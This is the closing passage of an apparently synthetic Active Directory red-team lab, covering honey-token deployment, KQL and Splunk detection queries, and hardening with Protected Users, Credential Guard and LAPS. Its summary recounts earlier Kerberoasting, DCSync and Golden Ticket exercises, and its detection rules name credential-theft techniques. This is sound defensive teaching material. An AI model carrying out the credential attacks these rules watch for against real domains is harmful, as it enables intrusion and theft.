-AccountPassword (ConvertTo-SecureString "REDACTED_COMPLEX_PASSWORD" -AsPlainText -Force) `
-Enabled $true `
-PasswordNeverExpires $true
# Add an SPN to make it appear Kerberoastable
PS C:\> Set-ADUser -Identity "svc_honeypot" -ServicePrincipalNames @{Add="MSSQLSvc/SQLHONEY01.acme.example.com:1433"}
# Make the account look old and stale (attractive target)
PS C:\> Set-ADUser -Identity "svc_honeypot" -Replace @{
'pwdLastSet' = 0 # Forces "password never changed" appearance
'description' = 'SQL Service Account - Legacy App - DO NOT MODIFY'
}
# Create a honey admin group
PS C:\> New-ADGroup -Name "Server Admins (Legacy)" `
-GroupScope Global `
-GroupCategory Security `
-Path "OU=Groups,DC=acme,DC=example,DC=com" `
-Description "Legacy server admin group — DO NOT USE"
# Add the honey token to the honey group
PS C:\> Add-ADGroupMember -Identity "Server Admins (Legacy)" -Members "svc_honeypot"
# Configure auditing on honey token (SYNTHETIC)
# Enable auditing for ALL access on the honey token account
PS C:\> $HoneyDN = "CN=svc_honeypot,OU=Service Accounts,DC=acme,DC=example,DC=com"
PS C:\> $Acl = Get-Acl "AD:\$HoneyDN"
PS C:\> $EveryoneSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-1-0")
PS C:\> $AuditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
$EveryoneSid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericRead,
[System.Security.AccessControl.AuditFlags]::Success,
[System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
)
PS C:\> $Acl.AddAuditRule($AuditRule)
PS C:\> Set-Acl "AD:\$HoneyDN" $Acl
# Result: ANY read or authentication attempt on svc_honeypot triggers Event 4662
Honey Token Detection Queries:
// KQL: Alert on ANY authentication attempt using honey token
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID in (4624, 4625, 4768, 4769, 4776)
| extend TargetUserName = tostring(EventData.TargetUserName)
| where TargetUserName =~ "svc_honeypot"
| extend SourceIP = coalesce(
tostring(EventData.IpAddress),
tostring(EventData.Workstation),
tostring(EventData.ClientAddress)
)
| project TimeGenerated, EventID, TargetUserName, SourceIP, Computer
| extend AlertSeverity = "Critical"
| extend AlertMessage = strcat("HONEY TOKEN TRIGGERED: Authentication attempt for ",
TargetUserName, " from ", SourceIP)
// KQL: Alert on honey token TGS request (Kerberoasting detection)
SecurityEvent
| where EventID == 4769
| where TimeGenerated > ago(1h)
| extend ServiceName = tostring(EventData.ServiceName)
| where ServiceName =~ "svc_honeypot"
| extend ClientAddress = tostring(EventData.IpAddress)
| extend TargetUserName = tostring(EventData.TargetUserName)
| project TimeGenerated, TargetUserName, ServiceName, ClientAddress, Computer
| extend AlertSeverity = "Critical"
| extend AlertMessage = "HONEY TOKEN KERBEROASTED — Active adversary in environment"
// KQL: Alert on ANY LDAP query touching honey token
SecurityEvent
| where EventID == 4662
| where TimeGenerated > ago(1h)
| extend ObjectName = tostring(EventData.ObjectName)
| extend SubjectUserName = tostring(EventData.SubjectUserName)
| where ObjectName contains "svc_honeypot"
| where SubjectUserName !in ("SYSTEM", "DC01$", "DC02$")
| project TimeGenerated, SubjectUserName, ObjectName, Computer
| extend AlertSeverity = "High"
| extend AlertMessage = strcat("Honey token object accessed by ", SubjectUserName)
// SPL: Alert on honey token authentication
index=wineventlog (EventCode=4624 OR EventCode=4625 OR EventCode=4768
OR EventCode=4769 OR EventCode=4776)
| where Account_Name="svc_honeypot" OR Service_Name="svc_honeypot"
OR TargetUserName="svc_honeypot"
| eval alert_severity="CRITICAL"
| eval alert_message="HONEY TOKEN TRIGGERED — Active adversary detected"
| table _time, EventCode, Account_Name, Source_Network_Address,
ComputerName, alert_severity, alert_message
// SPL: Alert on honey token Kerberoasting
index=wineventlog EventCode=4769 Service_Name="svc_honeypot"
| table _time, Account_Name, Client_Address, ComputerName
| eval alert="CRITICAL: Honey token Kerberoasted — adversary performing credential harvesting"
Step 5.2: Protected Users Group¶
The Protected Users security group enforces strict credential protection policies for its members. It is the single most impactful AD hardening control for privileged accounts.
# Add privileged accounts to Protected Users (SYNTHETIC)
PS C:\> Add-ADGroupMember -Identity "Protected Users" -Members "admin_da"
# Verify membership
PS C:\> Get-ADGroupMember -Identity "Protected Users" | Select-Object Name, SamAccountName
Name SamAccountName
---- --------------
Admin DA admin_da
┌───────────────────────────────────────────────────────────────────────────────┐
│ Protected Users Group — Security Effects │
│ │
│ Protection Effect on Members │
│ ───────────────────────────── ────────────────────────────────────────── │
│ No NTLM authentication Pass-the-Hash BLOCKED │
│ No WDigest credential caching Plaintext passwords NOT stored in LSASS │
│ No DES or RC4 encryption Kerberos uses AES only (harder to crack) │
│ No delegation Cannot be delegated (unconstrained/ │
│ constrained delegation blocked) │
│ TGT lifetime = 4 hours Reduces credential theft window │
│ No caching of credentials Credentials NOT cached on workstations │
│ Requires Kerberos pre-auth AS-REP Roasting blocked │
│ │
│ ⚠ CAUTION: Test thoroughly before adding service accounts! │
│ Service accounts that require NTLM or delegation will BREAK. │
│ Recommended for: All human privileged accounts (Domain Admins, │
│ Enterprise Admins, Schema Admins, Account Operators) │
│ NOT recommended for: Service accounts that need NTLM or delegation │
└───────────────────────────────────────────────────────────────────────────────┘
Step 5.3: Credential Guard Deployment¶
Windows Credential Guard uses virtualization-based security (VBS) to isolate LSASS credentials in a protected container, preventing direct memory access.
# Enable Credential Guard via Group Policy (SYNTHETIC)
# GPO Path: Computer Configuration > Administrative Templates >
# System > Device Guard > Turn on Virtualization Based Security
# Verify Credential Guard status
PS C:\> Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
AvailableSecurityProperties : {1, 2, 3, 5, 6, 7}
CodeIntegrityPolicyEnforcementStatus : 0
InstanceIdentifier : 4ff40aa1-12e4-4594-af0a-a8c5b1234567
RequiredSecurityProperties : {2}
SecurityServicesConfigured : {1, 2}
SecurityServicesRunning : {1, 2} ← Credential Guard RUNNING
UsermodeCodeIntegrityPolicyEnforcementStatus : 0
Version : 1.0
VirtualizationBasedSecurityStatus : 2 ← VBS Running
# SecurityServicesRunning values:
# 1 = Credential Guard
# 2 = Hypervisor enforced Code Integrity (HVCI)
┌───────────────────────────────────────────────────────────────────────────────┐
│ Credential Guard — Protection Against Lab Attacks │
│ │
│ Attack Technique Without Credential Guard With Credential Guard │
│ ──────────────────────── ───────────────────────── ───────────────────── │
│ LSASS dump (Mimikatz) ✗ Credentials exposed ✓ BLOCKED — isolated │
│ Pass-the-Hash ✗ NTLM hashes in memory ✓ Hashes not in LSASS │
│ WDigest plaintext ✗ Plaintext in LSASS ✓ Not applicable │
│ Kerberos TGT theft ✗ TGTs in LSASS memory ✓ TGTs in VBS │
│ DPAPI master key theft ✗ Keys accessible ⚠ Partial — domain │
│ keys protected │
│ SAM dump ✗ Local hashes exposed ✗ NOT protected │
│ DCSync ✗ Network-based ✗ NOT protected │
│ Golden Ticket ✗ Network-based ✗ NOT protected │
│ │
│ Credential Guard protects credentials IN MEMORY on the local machine. │
│ It does NOT protect against network-based attacks (DCSync, relay). │
└───────────────────────────────────────────────────────────────────────────────┘
Step 5.4: LAPS Deployment¶
Local Administrator Password Solution (LAPS) automatically manages and rotates local admin passwords, ensuring each machine has a unique password.
# Deploy Windows LAPS (SYNTHETIC)
# Step 1: Extend AD schema for LAPS
PS C:\> Update-LapsADSchema -Verbose
VERBOSE: Updating schema for LAPS...
VERBOSE: Adding ms-Mcs-AdmPwd attribute to computer objects
VERBOSE: Adding ms-Mcs-AdmPwdExpirationTime attribute to computer objects
VERBOSE: Schema update completed successfully
# Step 2: Set LAPS permissions on OU
PS C:\> Set-LapsADComputerSelfPermission -Identity "OU=Workstations,DC=acme,DC=example,DC=com"
Name DistinguishedName
---- -----------------
Workstations OU=Workstations,DC=acme,DC=example,DC=com
# Step 3: Grant read permission to IT Operations group
PS C:\> Set-LapsADReadPasswordPermission -Identity "OU=Workstations,DC=acme,DC=example,DC=com" `
-AllowedPrincipals "acme\IT Operations"
# Step 4: Configure LAPS policy via GPO
# GPO Settings:
# - Password Length: 20 characters
# - Password Age: 30 days
# - Password Complexity: Large letters + small letters + numbers + specials
# - Administrator Account: Built-in Administrator
# Step 5: Verify LAPS is working
PS C:\> Get-LapsADPassword -Identity WS01 -AsPlainText
ComputerName : WS01
DistinguishedName : CN=WS01,OU=Workstations,DC=acme,DC=example,DC=com
Account : Administrator
Password : REDACTED (20-character unique password)
PasswordUpdateTime : 3/24/2026 9:00:00 AM
ExpirationTimestamp : 4/23/2026 9:00:00 AM
PS C:\> Get-LapsADPassword -Identity WS02 -AsPlainText
ComputerName : WS02
Password : REDACTED (different 20-character unique password)
Step 5.5: Additional Hardening Measures¶
# Disable LLMNR via Group Policy (SYNTHETIC)
# GPO: Computer Configuration > Administrative Templates > Network > DNS Client
# Setting: "Turn off multicast name resolution" = Enabled
# Verify via registry
PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name EnableMulticast
EnableMulticast : 0 ← LLMNR Disabled
# Disable NBT-NS via registry (SYNTHETIC)
PS C:\> $adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true }
PS C:\> foreach ($adapter in $adapters) { $adapter.SetTcpipNetbios(2) }
# Value 2 = Disable NetBIOS over TCP/IP
# Enforce SMB Signing via Group Policy (SYNTHETIC)
# GPO: Computer Configuration > Policies > Windows Settings > Security Settings >
# Local Policies > Security Options
# Settings:
# "Microsoft network server: Digitally sign communications (always)" = Enabled
# "Microsoft network client: Digitally sign communications (always)" = Enabled
# Disable WDigest authentication (SYNTHETIC)
PS C:\> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
-Name "UseLogonCredential" -Value 0 -Type DWORD
# Enable LSASS PPL (Protected Process Light) (SYNTHETIC)
PS C:\> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "RunAsPPL" -Value 1 -Type DWORD
# Require Kerberos pre-authentication for all accounts (SYNTHETIC)
PS C:\> Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } | `
Set-ADAccountControl -DoesNotRequirePreAuth $false
# Verify: no accounts should have DONT_REQ_PREAUTH
PS C:\> Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } | Select-Object Name
# (empty result — good!)
# Enforce AES-only Kerberos encryption for service accounts (SYNTHETIC)
PS C:\> Set-ADUser -Identity svc_sql -KerberosEncryptionType AES128,AES256
PS C:\> Set-ADUser -Identity svc_backup -KerberosEncryptionType AES128,AES256
PS C:\> Set-ADUser -Identity svc_exchange -KerberosEncryptionType AES128,AES256
# Migrate service accounts to gMSA (Group Managed Service Accounts) (SYNTHETIC)
PS C:\> New-ADServiceAccount -Name "gMSA_SQL" `
-DNSHostName "gMSA_SQL.acme.example.com" `
-PrincipalsAllowedToRetrieveManagedPassword "SQL01$" `
-KerberosEncryptionType AES128,AES256 `
-ManagedPasswordIntervalInDays 30 `
-ServicePrincipalNames "MSSQLSvc/SQL01.acme.example.com:1433"
Name : gMSA_SQL
# gMSA benefits:
# - 120-character auto-generated password
# - Auto-rotated every 30 days
# - Cannot be Kerberoasted (password too complex)
# - No human manages the password
Step 5.6: Comprehensive Event ID Reference¶
┌───────────────────────────────────────────────────────────────────────────────────────┐
│ Windows Security Event ID Reference — AD Attacks │
│ │
│ Event ID Source Description Attack Detection │
│ ──────── ────────── ──────────────────────────── ──────────────────────────── │
│ 4624 Security Account logon successful PtH (type 3, NTLM) │
│ 4625 Security Account logon failed Brute force, spray │
│ 4648 Security Logon with explicit credentials Runas, PtH │
│ 4662 Security Directory object accessed DCSync (repl GUIDs) │
│ 4672 Security Special privileges assigned DA logon │
│ 4720 Security User account created Persistence │
│ 4724 Security Password reset attempted ACL abuse │
│ 4728 Security Member added to global group Privilege escalation │
│ 4732 Security Member added to local group Local admin addition │
│ 4768 Security TGT requested (AS-REQ) AS-REP roasting, auth │
│ 4769 Security TGS requested Kerberoasting (RC4) │
│ 4771 Security Kerberos pre-auth failed Password spraying │
│ 4776 Security NTLM credential validation NTLM auth monitoring │
│ 5136 Security Directory object modified ACL/DACL changes │
│ 5145 Security Network share object checked Lateral movement (SMB) │
│ │
│ Sysmon │
│ ──────── ────────── ──────────────────────────── ──────────────────────────── │
│ 1 Sysmon Process creation Tool execution │
│ 3 Sysmon Network connection C2, lateral movement │
│ 7 Sysmon Image loaded (DLL) Mimikatz DLL load │
│ 8 Sysmon CreateRemoteThread Process injection │
│ 10 Sysmon Process access LSASS dump detection │
│ 11 Sysmon File create Tool drop, payload │
│ 13 Sysmon Registry value set Persistence, config │
│ 17/18 Sysmon Pipe created/connected Lateral movement (SMB) │
│ 22 Sysmon DNS query C2 domain lookup │
│ 25 Sysmon Process tampering LSASS protection bypass │
└───────────────────────────────────────────────────────────────────────────────────────┘
Step 5.7: Detection Engineering Pipeline¶
Build a comprehensive detection pipeline that covers every attack technique from this lab:
// KQL: Unified AD Attack Detection Dashboard — Microsoft Sentinel
// This query creates a single dashboard view of all AD attack indicators
// Panel 1: Kerberoasting Activity
let Kerberoasting = SecurityEvent
| where EventID == 4769
| where TimeGenerated > ago(24h)
| extend EncType = tostring(EventData.TicketEncryptionType)
| extend ServiceName = tostring(EventData.ServiceName)
| extend Requester = tostring(EventData.TargetUserName)
| extend SourceIP = tostring(EventData.IpAddress)
| where EncType == "0x17" and ServiceName !startswith "krbtgt" and ServiceName !endswith "$"
| summarize SPNCount = dcount(ServiceName), SPNs = make_set(ServiceName, 10)
by Requester, SourceIP, bin(TimeGenerated, 1h)
| where SPNCount >= 3
| extend AttackType = "Kerberoasting", Severity = iff(SPNCount >= 10, "High", "Medium");
// Panel 2: AS-REP Roasting
let ASREPRoasting = SecurityEvent
| where EventID == 4768
| where TimeGenerated > ago(24h)
| extend EncType = tostring(EventData.TicketEncryptionType)
| extend TargetUser = tostring(EventData.TargetUserName)
| extend SourceIP = tostring(EventData.IpAddress)
| where EncType == "0x17"
| summarize UserCount = dcount(TargetUser), Users = make_set(TargetUser, 10)
by SourceIP, bin(TimeGenerated, 1h)
| where UserCount >= 3
| extend AttackType = "AS-REP Roasting", Severity = "High",
Requester = "N/A", SPNCount = UserCount, SPNs = Users;
// Panel 3: DCSync
let DCSync = SecurityEvent
| where EventID == 4662
| where TimeGenerated > ago(24h)
| extend Props = tostring(EventData.Properties)
| extend Requester = tostring(EventData.SubjectUserName)
| where Props has "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
or Props has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where Requester !endswith "$"
| extend AttackType = "DCSync", Severity = "Critical",
SourceIP = "", SPNCount = 1, SPNs = dynamic(["DCSync"]);
// Panel 4: Honey Token
let HoneyToken = SecurityEvent
| where EventID in (4624, 4625, 4768, 4769, 4776)
| where TimeGenerated > ago(24h)
| extend TargetUser = tostring(EventData.TargetUserName)
| where TargetUser =~ "svc_honeypot"
| extend Requester = TargetUser,
AttackType = "Honey Token Triggered", Severity = "Critical",
SourceIP = coalesce(tostring(EventData.IpAddress), ""),
SPNCount = 1, SPNs = dynamic(["HoneyToken"]);
// Panel 5: LSASS Access
let LsassAccess = SecurityEvent
| where EventID == 10
| where TimeGenerated > ago(24h)
| extend TargetImage = tostring(EventData.TargetImage)
| extend SourceImage = tostring(EventData.SourceImage)
| extend GrantedAccess = tostring(EventData.GrantedAccess)
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in ("0x1010", "0x1038", "0x1fffff", "0x1410", "0x143a")
| where SourceImage !endswith "\\csrss.exe" and SourceImage !endswith "\\MsMpEng.exe"
| extend Requester = tostring(EventData.SourceUser),
AttackType = "LSASS Access", Severity = "High",
SourceIP = "", SPNCount = 1, SPNs = dynamic(["LSASS"]);
// Combine all panels
union Kerberoasting, ASREPRoasting, DCSync, HoneyToken, LsassAccess
| project TimeGenerated, AttackType, Severity, Requester, SourceIP, SPNCount, SPNs
| sort by Severity asc, TimeGenerated desc
// SPL: Unified AD Attack Detection Dashboard — Splunk
// Saved Search: AD Attack Summary
index=wineventlog (EventCode=4769 OR EventCode=4768 OR EventCode=4662
OR EventCode=4624 OR EventCode=4625 OR EventCode=10)
| eval attack_type=case(
EventCode=4769 AND Ticket_Encryption_Type="0x17"
AND Service_Name!="krbtgt*" AND Service_Name!="*$", "Kerberoasting",
EventCode=4768 AND Ticket_Encryption_Type="0x17", "AS-REP Roasting",
EventCode=4662 AND match(Properties,
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"), "DCSync",
EventCode=4662 AND match(Properties,
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"), "DCSync",
(EventCode=4624 OR EventCode=4625 OR EventCode=4769)
AND (Account_Name="svc_honeypot" OR Service_Name="svc_honeypot"
OR TargetUserName="svc_honeypot"), "Honey Token",
EventCode=10 AND TargetImage="*lsass.exe"
AND GrantedAccess IN ("0x1010","0x1038","0x1fffff"), "LSASS Access",
1=1, "Other"
)
| where attack_type != "Other"
| eval severity=case(
attack_type IN ("DCSync", "Honey Token"), "CRITICAL",
attack_type="LSASS Access", "HIGH",
attack_type="Kerberoasting", "MEDIUM",
1=1, "LOW"
)
| stats count as events,
values(Account_Name) as users,
values(Source_Network_Address) as source_ips,
latest(_time) as last_seen
by attack_type, severity
| sort severity
| rename attack_type as "Attack Type",
severity as "Severity",
events as "Event Count",
users as "Users",
source_ips as "Source IPs",
last_seen as "Last Detected"
Step 5.8: Hardening Verification Checklist¶
# AD Security Hardening Verification Script (SYNTHETIC)
# Run this after implementing all defenses
Write-Host "=== Active Directory Security Hardening Verification ===" -ForegroundColor Cyan
Write-Host ""
# Check 1: Protected Users Group
$protectedUsers = Get-ADGroupMember -Identity "Protected Users"
Write-Host "[CHECK 1] Protected Users Group Members:" -ForegroundColor Yellow
$protectedUsers | ForEach-Object { Write-Host " ✓ $($_.Name)" -ForegroundColor Green }
$daMembers = Get-ADGroupMember -Identity "Domain Admins"
$unprotectedDAs = $daMembers | Where-Object { $_.SID -notin $protectedUsers.SID }
if ($unprotectedDAs) {
Write-Host " ✗ Domain Admins NOT in Protected Users:" -ForegroundColor Red
$unprotectedDAs | ForEach-Object { Write-Host " - $($_.Name)" -ForegroundColor Red }
}
# Check 2: Kerberos Pre-Authentication
$noPreAuth = Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true }
if ($noPreAuth) {
Write-Host "[CHECK 2] ✗ Accounts WITHOUT pre-authentication:" -ForegroundColor Red
$noPreAuth | ForEach-Object { Write-Host " - $($_.Name)" -ForegroundColor Red }
} else {
Write-Host "[CHECK 2] ✓ All accounts require Kerberos pre-authentication" -ForegroundColor Green
}
# Check 3: Kerberoastable Accounts with RC4
$kerberoastable = Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties msDS-SupportedEncryptionTypes
Write-Host "[CHECK 3] Service Account Encryption Types:" -ForegroundColor Yellow
$kerberoastable | ForEach-Object {
$encTypes = $_.'msDS-SupportedEncryptionTypes'
$supportsRC4 = ($encTypes -band 4) -ne 0
if ($supportsRC4) {
Write-Host " ✗ $($_.Name) — supports RC4 (Kerberoastable)" -ForegroundColor Red
} else {
Write-Host " ✓ $($_.Name) — AES only" -ForegroundColor Green
}
}
# Check 4: LAPS Deployment
$computers = Get-ADComputer -Filter * -SearchBase "OU=Workstations,DC=acme,DC=example,DC=com" `
-Properties ms-Mcs-AdmPwd
$noLaps = $computers | Where-Object { -not $_.'ms-Mcs-AdmPwd' }
if ($noLaps) {
Write-Host "[CHECK 4] ✗ Computers WITHOUT LAPS:" -ForegroundColor Red
$noLaps | ForEach-Object { Write-Host " - $($_.Name)" -ForegroundColor Red }
} else {
Write-Host "[CHECK 4] ✓ LAPS deployed on all workstations" -ForegroundColor Green
}
# Check 5: DCSync Rights
Write-Host "[CHECK 5] Accounts with DCSync rights:" -ForegroundColor Yellow
$dcsyncACL = Get-DomainObjectAcl -SearchBase "DC=acme,DC=example,DC=com" -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match "DS-Replication-Get-Changes" }
$dcsyncACL | ForEach-Object {
$identity = (New-Object System.Security.Principal.SecurityIdentifier($_.SecurityIdentifier)).Translate(
[System.Security.Principal.NTAccount]).Value
if ($identity -match "Domain Controllers|Enterprise Read-only") {
Write-Host " ✓ $identity — Legitimate" -ForegroundColor Green
} else {
Write-Host " ✗ $identity — UNAUTHORIZED DCSync rights!" -ForegroundColor Red
}
}
# Check 6: SMB Signing
Write-Host "[CHECK 6] SMB Signing Status:" -ForegroundColor Yellow
# (Would use CrackMapExec or PowerShell remoting to verify)
# Check 7: Credential Guard
Write-Host "[CHECK 7] Credential Guard Status:" -ForegroundColor Yellow
$vbs = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
if ($vbs.SecurityServicesRunning -contains 1) {
Write-Host " ✓ Credential Guard is RUNNING" -ForegroundColor Green
} else {
Write-Host " ✗ Credential Guard is NOT running" -ForegroundColor Red
}
Write-Host ""
Write-Host "=== Verification Complete ===" -ForegroundColor Cyan
Step 5.9: Defense-in-Depth Matrix¶
┌───────────────────────────────────────────────────────────────────────────────────────────────┐
│ Defense-in-Depth — AD Attack Mitigation │
│ │
│ Attack Prevention Detection Response │
│ ────────────────── ──────────────────────── ────────────────────────── ──────────────── │
│ Kerberoasting gMSA (120-char auto-pwd) Event 4769 (RC4 TGS) Reset svc pwd, │
│ AES-only encryption Honey token SPN rotate krbtgt │
│ 30-char+ svc passwords Volume threshold (3+ SPNs) │
│ │
│ AS-REP Roasting Require pre-auth (ALL) Event 4768 (RC4 AS-REQ) Enable pre-auth │
│ Remove DONT_REQ_PREAUTH Multiple users from 1 IP immediately │
│ │
│ BloodHound/ Tier model + ACL cleanup Event 4662/5136 volume Revoke excess │
│ ACL Abuse Remove GenericAll/WriteDACL LDAP query spike ACLs, audit │
│ Least-privilege ACLs Password reset (4724) all ACEs │
│ │
│ DCSync Restrict DS-Replication Event 4662 + repl GUIDs Remove repl │
│ Only DCs should have it from non-DC accounts rights, reset │
│ Monitor ACL changes ADSIM / MDI alerts krbtgt x2 │
│ │
│ Golden Ticket Rotate krbtgt every 180d TGS without TGT (4769/ Reset krbtgt │
│ PAC validation enabled no 4768), RC4 downgrade TWICE (12hr+) │
│ Monitor krbtgt age Anomalous TGT lifetime │
│ │
│ Pass-the-Hash Credential Guard Event 4624 type 3 NTLM Credential │
│ Protected Users group Privileged acct + NTLM Guard deploy, │
│ Restrict NTLM (GPO) Unexpected source IP Protected Users │
│ │
│ NTLM Relay Require SMB signing Source IP ≠ hostname DNS Enable SMB │
│ Disable LLMNR/NBT-NS Event 4624 IP mismatch signing, block │
│ EPA (Extended Protection) LLMNR/mDNS traffic spike LLMNR/NBT-NS │
│ │
│ LSASS Dump Credential Guard + PPL Sysmon Event 10 (LSASS) Enable PPL, │
│ RunAsPPL = 1 Access mask monitoring deploy CG, │
│ Block procdump/Mimikatz Known tool hash detection investigate │
│ │
│ Password Reuse LAPS for local admins Same hash on multiple Deploy LAPS, │
│ (Local Admin) Unique passwords per host hosts (CrackMapExec scan) rotate all │
└───────────────────────────────────────────────────────────────────────────────────────────────┘
Key Takeaways — Exercise 5¶
Defense & Detection Principles
- Honey tokens are the highest-fidelity alert — A decoy account that no legitimate user should ever touch provides zero false positives. Kerberoasting a honey token SPN is definitive proof of adversary activity.
- Protected Users group is mandatory for all privileged accounts — It blocks NTLM, WDigest, delegation, and RC4 — eliminating multiple attack techniques with a single configuration change.
- Credential Guard + PPL + LAPS is the defensive triad — Credential Guard isolates LSASS credentials, PPL protects the LSASS process, and LAPS eliminates local admin password reuse. Together, they make credential harvesting significantly harder.
- gMSA eliminates Kerberoasting — 120-character auto-rotating passwords with AES-only encryption make offline cracking infeasible. Every standard service account should be migrated to gMSA.
- Detection requires Sysmon + advanced audit policy — Default Windows logging is insufficient. Sysmon (especially Event 10 for LSASS access) and advanced audit policies (4662 for directory access) are essential.
- krbtgt rotation is incident response step zero — After any suspected domain compromise, reset the krbtgt password TWICE with at least a 12-hour gap. This invalidates all Golden Tickets and forged TGTs.
Lab Summary¶
What You Accomplished¶
In this lab, you performed a comprehensive Active Directory red team assessment of the Meridian Financial Group domain, covering the full attack kill chain from initial credential harvesting through domain compromise and detection engineering:
| Exercise | Focus Area | Key Outcome |
|---|---|---|
| 1 | Kerberoasting & AS-REP Roasting | Compromised 3 of 4 service accounts via offline password cracking — zero authentication failures generated |
| 2 | BloodHound Attack Path Analysis | Identified 5-hop path to Domain Admin via ACL abuse chain (GenericAll → WriteDACL → DCSync) |
| 3 | DCSync & Golden Ticket | Extracted krbtgt hash and forged persistent Golden Ticket with 10-year validity |
| 4 | Lateral Movement & Credential Harvesting | Demonstrated PtH, overpass-the-hash, NTLM relay, LSASS dump, SAM extraction, and DPAPI abuse |
| 5 | Defense & Detection | Deployed honey tokens, Protected Users, Credential Guard, LAPS, gMSA, and comprehensive detection queries |
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Exercise | Detection |
|---|---|---|---|
| T1558.003 | Kerberoasting | Ex. 1 | Event 4769 RC4, KQL, SPL |
| T1558.004 | AS-REP Roasting | Ex. 1 | Event 4768 RC4, KQL, SPL |
| T1087.002 | Domain Account Discovery | Ex. 1, 2 | SharpHound LDAP volume |
| T1069.002 | Domain Groups Discovery | Ex. 2 | LDAP query patterns |
| T1098 | Account Manipulation | Ex. 2 | Event 4724, 5136 |
| T1003.006 | DCSync | Ex. 3 | Event 4662 replication GUIDs |
| T1558.001 | Golden Ticket | Ex. 3 | TGS without TGT, RC4 downgrade |
| T1550.002 | Pass the Hash | Ex. 4 | Event 4624 type 3 NTLM |
| T1550.003 | Pass the Ticket | Ex. 3, 4 | Anomalous Kerberos tickets |
| T1557.001 | LLMNR/NBT-NS Poisoning | Ex. 4 | Network traffic monitoring |
| T1003.001 | LSASS Memory | Ex. 4 | Sysmon Event 10 |
| T1003.002 | SAM | Ex. 4 | Registry access monitoring |
| T1555.003 | Browser Credentials | Ex. 4 | DPAPI access monitoring |
| T1555.004 | Windows Credential Manager | Ex. 4 | Credential file access |
| T1615 | Group Policy Discovery | Ex. 2 | LDAP enumeration |
| T1222.001 | File/Directory Permission Mod | Ex. 2 | Event 5136 DACL changes |
Security Controls Implemented¶
| Category | Before | After |
|---|---|---|
| Service Account Passwords | Weak, static, RC4 | gMSA (120-char, auto-rotate, AES) |
| Kerberos Pre-Authentication | Disabled on svc_web | Required for ALL accounts |
| ACL Permissions | GenericAll, WriteDACL abuse chains | Least-privilege, cleaned up |
| DCSync Rights | Granted to svc_exchange | Restricted to Domain Controllers only |
| Local Admin Passwords | Same across all workstations | LAPS — unique per machine |
| LSASS Protection | None | Credential Guard + PPL |
| WDigest | Enabled (plaintext in memory) | Disabled |
| SMB Signing | Not required (relay possible) | Required on all systems |
| LLMNR/NBT-NS | Enabled (poisoning possible) | Disabled domain-wide |
| Privileged Account Protection | None | Protected Users group |
| Honey Tokens | None | Deployed (svc_honeypot + SPN) |
| Detection Coverage | Minimal | Full KQL + SPL pipeline for all techniques |
Additional Resources¶
Cross-References¶
- Chapter 45: AD Red Teaming — comprehensive Active Directory attack methodology and defense strategies
- Chapter 33: Identity & Access Security — identity governance, PAM, and authentication hardening
- Chapter 17: Red Team Operations — red team methodology, engagement planning, and operational security
- Chapter 5: Detection Engineering at Scale — building detection pipelines, KQL/SPL query optimization, and alert tuning
- Chapter 36: Purple Team Operations — purple team exercises for validating AD defenses
- Lab 06: Active Directory Attack Paths — foundational AD attack path analysis
- Scenario SC-046: Active Directory Kerberoasting — Kerberoasting incident response scenario
- ATT&CK Technique Reference — detection queries mapped to ATT&CK
External Resources¶
- MITRE ATT&CK — Active Directory Techniques — ATT&CK techniques relevant to AD attacks
- Microsoft — Securing Privileged Access — Microsoft's tiered administration model
- Microsoft — Protected Users Security Group — Protected Users group documentation
- Microsoft — Credential Guard — Credential Guard deployment guide
- Microsoft — LAPS — Windows Local Administrator Password Solution
- BloodHound Documentation — BloodHound attack path analysis tool
- Harmj0y — Roasting AS-REPs — Technical deep dive on AS-REP roasting
- SpecterOps — An ACE Up the Sleeve — ACL-based attack paths in Active Directory
- ADSecurity.org — Sean Metcalf's comprehensive AD security resource
- The Hacker Recipes — AD — Practical AD attack and defense reference
CWE References¶
| CWE | Name | Exercise |
|---|---|---|
| CWE-257 | Storing Passwords in a Recoverable Format | Ex. 1 (weak svc passwords), Ex. 4 (WDigest) |
| CWE-269 | Improper Privilege Management | Ex. 2 (ACL abuse), Ex. 3 (DCSync rights) |
| CWE-284 | Improper Access Control | Ex. 2 (GenericAll, WriteDACL) |
| CWE-307 | Improper Restriction of Excessive Authentication Attempts | Ex. 1 (offline cracking) |
| CWE-308 | Use of Single-factor Authentication | Ex. 4 (NTLM-only, no MFA) |
| CWE-521 | Weak Password Requirements | Ex. 1 (weak service account passwords) |
| CWE-522 | Insufficiently Protected Credentials | Ex. 4 (LSASS, SAM, DPAPI) |
| CWE-654 | Reliance on a Single Factor | Ex. 3 (krbtgt as single trust anchor) |
| CWE-732 | Incorrect Permission Assignment for Critical Resource | Ex. 2 (AD ACLs) |
| CWE-916 | Use of Password Hash with Insufficient Computational Effort | Ex. 1 (RC4 vs AES) |
Advance Your Career¶
Recommended Certifications
This lab covers objectives tested in the following certifications. Investing in these credentials validates your Active Directory security expertise:
| Certification | Focus | Link |
|---|---|---|
| OSCP — Offensive Security Certified Professional | Penetration testing methodology including Active Directory attacks, lateral movement, and privilege escalation | Learn More |
| OSEP — Offensive Security Experienced Pentester | Advanced AD exploitation, evasion techniques, custom tooling, and complex attack chains | Learn More |
